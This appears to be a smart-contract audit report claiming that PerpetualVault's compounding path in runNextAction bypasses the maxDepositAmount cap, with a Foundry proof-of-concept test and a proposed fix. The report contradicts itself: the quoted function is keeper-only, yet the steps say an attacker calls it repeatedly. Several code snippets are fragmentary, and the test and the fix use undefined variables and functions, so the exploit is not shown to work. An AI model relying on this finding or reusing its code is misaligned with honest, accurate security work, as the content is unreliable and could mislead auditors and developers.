Summary
Critical vulnerability in PerpetualVault where the compound mechanism bypasses maxDepositAmount checks, allowing positions to grow beyond intended limits and enabling leverage limit bypass.
Vulnerability Details
In PerpetualVault.sol
, the runNextAction function allows compounding without validating against maxDepositAmount:
function runNextAction(MarketPrices memory prices, bytes[] memory metadata) external nonReentrant gmxLock {
_onlyKeeper();
} else if (positionIsClosed == false && _isFundIdle()) {
flow = FLOW.COMPOUND;
if (_isLongOneLeverage(beenLong)) {
_runSwap(metadata, true, prices);
} else {
(uint256 acceptablePrice) = abi.decode(metadata[0], (uint256));
_createIncreasePosition(beenLong, acceptablePrice, prices);
}
}
While normal deposits are restricted:
function deposit(uint256 amount) external nonReentrant payable {
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
The compounding flow bypasses these checks entirely, allowing:
Position growth beyond maxDepositAmount
Leverage increase beyond intended limits
Systemic risk accumulation
Impact
Vault can grow beyond manageable size
Leverage limits can be bypassed
Protocol's risk management compromised
Potential for catastrophic liquidations
Risk to all vault participants
Proof of Concept
This PoC demonstrates how an attacker can exploit the runNextAction function in PerpetualVault.sol to bypass maxDepositAmount
restrictions and grow their position beyond intended limits.
Exploitation Steps:
Initial Deposit: The attacker deposits an amount just below maxDepositAmount
(e.g., 99,000 USDC out of 100,000).
Opening a Profitable Position: A trade is executed, generating profits as market conditions change.
Waiting for Profits: The vault accumulates earnings over time.
Compounding Exploit: The attacker repeatedly calls runNextAction
, which reinvests profits without checking maxDepositAmount
.
Bypassing Leverage Limits: The total position size grows unchecked, leading to excessive risk exposure and potential liquidation cascades.
Outcome:
This vulnerability allows positions to expand beyond safe limits, bypassing deposit and leverage restrictions, which can destabilize the vault and endanger all participants.
pragma solidity ^0.8.4;
import "forge-std/Test.sol";
import "../contracts/PerpetualVault.sol";
contract CompoundingExploitTest is Test {
PerpetualVault vault;
address attacker;
function setUp() public {
vault = new PerpetualVault();
vault.initialize(
address(gmx_market),
address(keeper),
address(treasury),
address(gmxProxy),
address(vaultReader),
1000e6,
100000e6,
10000
);
attacker = address(0x1);
vm.deal(attacker, 100 ether);
}
function testCompoundingExploit() public {
vm.startPrank(attacker);
usdc.approve(address(vault), 99000e6);
vault.deposit(99000e6);
vm.stopPrank();
vault.run(true, true, _mockProfitableMarket(), new bytes[](0));
vm.roll(block.number + 1000);
for(uint i = 0; i < 5; i++) {
vault.runNextAction(_mockProfitableMarket(), new bytes[](0));
uint256 totalSize = vault.totalAmount(_mockProfitableMarket());
console.log("Total Size:", totalSize);
}
assertTrue(vault.totalAmount(_mockProfitableMarket()) > 100000e6);
}
function _mockProfitableMarket() internal pure returns (MarketPrices memory) {
return MarketPrices({
indexTokenPrice: PriceProps({
min: 2000e30,
max: 2100e30
}),
longTokenPrice: PriceProps({
min: 2000e30,
max: 2100e30
}),
shortTokenPrice: PriceProps({
min: 1e30,
max: 1e30
})
});
}
}
Tools Used
Recommended Mitigation
Add maxDeposit validation to compounding:
function runNextAction(MarketPrices memory prices, bytes[] memory metadata) external nonReentrant gmxLock {
_onlyKeeper();
} else if (positionIsClosed == false && _isFundIdle()) {
uint256 currentTotal = _totalAmount(prices);
uint256 pendingCompound = getPendingCompound();
if (currentTotal + pendingCompound > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.COMPOUND;
}
}